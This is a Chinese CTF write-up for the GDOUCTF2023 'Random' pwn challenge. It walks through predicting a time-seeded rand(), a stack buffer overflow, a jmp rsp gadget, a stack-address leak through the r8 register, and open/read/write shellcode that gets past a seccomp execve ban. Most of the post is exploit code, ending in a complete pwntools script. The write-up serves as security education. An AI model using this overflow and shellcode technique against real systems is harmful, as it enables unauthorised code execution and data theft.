[GDOUCTF2023] Random

文章详细介绍了如何利用C程序中的栈溢出漏洞,通过随机数种子的固定来预测随机数,从而触发特定函数。在面对seccomp限制和sandbox环境时,作者探讨了使用shellcode的方法,并通过调试发现并利用r8寄存器泄露栈地址,最终实现远程执行payload获取flag的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

第一次写题解,其中啰嗦和有错误的地方还望海涵,谢谢师傅们Orz
这道题核心有一个比较相近的题目,我先把题目放出来:

[极客大挑战 2019]Not Bad

一会我会叙述两个题之间的区别,还是很大的。
先拖IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v5; // [rsp+0h] [rbp-10h] BYREF
  int v6; // [rsp+4h] [rbp-Ch]
  int v7; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  v7 = 100;
  sandbox();
  v3 = time(0LL);
  srand(v3);
  for ( i = 0; i < v7; ++i )
  {
    v6 = rand() % 50;
    puts("please input a guess num:");
    if ( (unsigned int)__isoc99_scanf("%d", &v5) == -1 )
      exit(0);
    if ( getchar() != 10 )
      exit(1);
    if ( v6 == v5 )
    {
      puts("good guys");
      vulnerable();
    }
    else
    {
      puts("no,no,no");
    }
  }
  return 0;
}

首先显而易见的是main函数中有一个随机数取种并且循环一百次,每次判断你的输入和随机数是否相符的函数;
对此直接在python中调用c语言代码即可,由于线程开始时srand随机数取种都是相同的,所以可以保证判断通过。
 

from ctypes import *
cdll=CDLL('/lib/x86_64-linux-gnu/libc.so.6')#libc可以用过ldd指令查看路径哦
cdll.srand(cdll.time(0))

for i in range(100):
    io.recvuntil('please input a guess num:\n')
    io.sendline(str(cdll.rand()%50))
    s=io.recvline()

PS:道理我都懂,可为啥我的上一题通过了,但本题在异地没办法判断成功呢?我有点迷,大概率是随机数取种不同的原因吧qωq
喵喵喵,反正他有一百次判断,我每一次都随机一个数也是有可能撞上的,我只需要一次进入vulnerble函数就好了。

ssize_t vulnerable()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("your door");
  return read(0, buf, 0x40uLL);
}

很简单的一个栈溢出,可以溢出0x40-0x20=0x20位。我们可以看到函数中没有shell执行区域,也没有system区域,那也就是说我们一般对于ROP题目来说只有shellcode或者libc这种两种解法了。但我们可以找找旁边的函数:

哦,我们找到非原生函数有haha sandbox和vulnerable,看下haha里面:

void haha()
{
  __asm { jmp     rsp }
}

checksec一下: 

有栈执行权限而且有返回到栈上的语句,我们可以考虑shellcode了。
桥豆麻袋!这个sandbox函数,可以看出是有沙盒限制的,我们进去具体看看:

int sandbox()
{
  __int16 v1; // [rsp+0h] [rbp-40h] BYREF
  __int16 *v2; // [rsp+8h] [rbp-38h]
  __int16 v3; // [rsp+10h] [rbp-30h] BYREF
  char v4; // [rsp+12h] [rbp-2Eh]
  char v5; // [rsp+13h] [rbp-2Dh]
  int v6; // [rsp+14h] [rbp-2Ch]
  __int16 v7; // [rsp+18h] [rbp-28h]
  char v8; // [rsp+1Ah] [rbp-26h]
  char v9; // [rsp+1Bh] [rbp-25h]
  int v10; // [rsp+1Ch] [rbp-24h]
  __int16 v11; // [rsp+20h] [rbp-20h]
  char v12; // [rsp+22h] [rbp-1Eh]
  char v13; // [rsp+23h] [rbp-1Dh]
  int v14; // [rsp+24h] [rbp-1Ch]
  __int16 v15; // [rsp+28h] [rbp-18h]
  char v16; // [rsp+2Ah] [rbp-16h]
  char v17; // [rsp+2Bh] [rbp-15h]
  int v18; // [rsp+2Ch] [rbp-14h]
  __int16 v19; // [rsp+30h] [rbp-10h]
  char v20; // [rsp+32h] [rbp-Eh]
  char v21; // [rsp+33h] [rbp-Dh]
  int v22; // [rsp+34h] [rbp-Ch]
  __int16 v23; // [rsp+38h] [rbp-8h]
  char v24; // [rsp+3Ah] [rbp-6h]
  char v25; // [rsp+3Bh] [rbp-5h]
  int v26; // [rsp+3Ch] [rbp-4h]

  v3 = 32;
  v4 = 0;
  v5 = 0;
  v6 = 4;
  v7 = 21;
  v8 = 0;
  v9 = 2;
  v10 = 0xC000003E;
  v11 = 32;
  v12 = 0;
  v13 = 0;
  v14 = 0;
  v15 = 21;
  v16 = 0;
  v17 = 1;
  v18 = 59;
  v19 = 6;
  v20 = 0;
  v21 = 0;
  v22 = 0;
  v23 = 6;
  v24 = 0;
  v25 = 0;
  v26 = 0x7FFF0000;
  v1 = 6;
  v2 = &v3;
  prctl(38, 1LL, 0LL, 0LL, 0LL);
  return prctl(22, 2LL, &v1);
}

 最核心的两个函数prtcl38和prtcl22可以看出来是把直接取得shell的方式ban掉了,稳健一下看看seccomp:

可以看出来只有execve被ban了,和我们想的一样,也就是标准orw。
orw问题推荐一篇博客:
浅谈 ORW
很不错可以看看。
具体就是用open打开flag,read读取flag,write写出flag。
最开始尝试着用类似我之前给出的那道题目的方式去做,方法即:

stack_start=0x7ffffffde000
payload=asm(shellcraft.read(0,stack_start,0x50))#把ORW组合读到栈上
payload+=asm("jmp rsi")
payload=payload.ljust(0x28,b'\x00')

jmp_rsp=0x40094E
payload+=p64(jmp_rsp)#跳到rsp就相当于到达下一句话
payload+=asm("sub rsp,48;jmp rsp")#返回到payload最初的位置,偏移量需要自己测算
payload=payload.ljust(0x40,b'\x00')
io.send(payload)

payload2=asm(shellcraft.open('./flag'))
payload2+=asm(shellcraft.read(3,0x601068,0x50))
payload2+=asm(shellcraft.write(1,0x601068,0x50))#经典ORW组合

io.send(payload2)
io.interactive()

但显然我忘记了一个重要的事情,那就是栈地址随机化
栈的地址不一定是0x7ffffffde000,最初我想到的做法是爆破,由于低三位地址和高三位地址都是可知的(最低三位000就好了,最高三位固定7ff),只需要爆破6位,但我想到了一个更好的办法:
不如我们先把栈地址用汇编语句泄露出来,然后再返回到vulnerable之后再进行写入ORW怎样呢?我觉得可行。

由此我在本地gdb了过后发现有几个能够泄露栈地址的寄存器:

 也就是说,rbxr13都是可以的,用shellcraft也很好写:

payload=asm(shellcraft.write(1,'rbx',0x10))
payload+=asm("mov rbx,0x40091D;jmp rbx")

payload=payload.ljust(0x28,b'\x00')

jmp_rsp=0x40094E
payload+=p64(jmp_rsp)
payload+=asm("sub rsp,48;jmp rsp")
payload=payload.ljust(0x40,b'\x00')

io.recvuntil('your door\n')
io.send(payload)
stack=u64(io.recv(6).ljust(8,b'\x00'))
print('stack:',hex(stack))

以上可以泄露出栈地址了,之后在基本影响不到关键控制字段的位置写进去ORW就好了

io.recvuntil('your door')

aim=stack-0x200

payload1=asm(shellcraft.read(0,aim,0x50))
payload1+=asm("jmp rsi")
payload1=payload1.ljust(0x28,b'\x00')
print('len:',hex(len(payload1)))
payload1+=p64(jmp_rsp)
payload1+=asm("sub rsp,48;jmp rsp")
payload1=payload1.ljust(0x40,b'\x00')

io.send(payload1)

io.send(payload2)

io.interactive()

ok本地flag成功取得。
但之后可是麻烦大了,最绝望的莫过于无法调试的异地一直EOF。
通过我上面输出的stack我可以发现,寄存器在异地的存储内容是不同的,所以我推测可以尝试输出所有寄存器试试。
于是我从rbx rcx r13 r12 rax rbp rsp(rdi和rdx会直接python报错EOF)最后发现r8是可以的。
直接取得flag了。
完整exp

from pwn import *
from ctypes import *
context(log_level='debug',arch='amd64',os='linux')

cdll=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=process('./RANDOM')
#io=remote('node5.anna.nssctf.cn',28437)

cdll.srand(cdll.time(0))

payload2=asm(shellcraft.open('./flag'))
payload2+=asm(shellcraft.read(3,0x601068,0x50))
payload2+=asm(shellcraft.write(1,0x601068,0x50))

for i in range(100):
    io.recvuntil('please input a guess num:\n')
    io.sendline('1')
    s=io.recvline()
    print('s:',s)
    if len(s)==10:
        break
           #0x7ffefe218000
#这个我是真没办法了,毕竟异地随机数结果不同

gdb.attach(io)
payload=asm(shellcraft.write(1,'r8',0x10))
payload+=asm("mov rbx,0x40091D;jmp rbx")

payload=payload.ljust(0x28,b'\x00')

jmp_rsp=0x40094E
payload+=p64(jmp_rsp)
payload+=asm("sub rsp,48;jmp rsp")
payload=payload.ljust(0x40,b'\x00')

io.recvuntil('your door\n')
io.send(payload)
stack=u64(io.recv(6).ljust(8,b'\x00'))
print('stack:',hex(stack))

io.recvuntil('your door')

aim=stack-0x200

payload1=asm(shellcraft.read(0,aim,0x50))
payload1+=asm("jmp rsi")
payload1=payload1.ljust(0x28,b'\x00')
print('len:',hex(len(payload1)))
payload1+=p64(jmp_rsp)
payload1+=asm("sub rsp,48;jmp rsp")
payload1=payload1.ljust(0x40,b'\x00')

io.send(payload1)

io.send(payload2)

io.interactive()

完成!

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值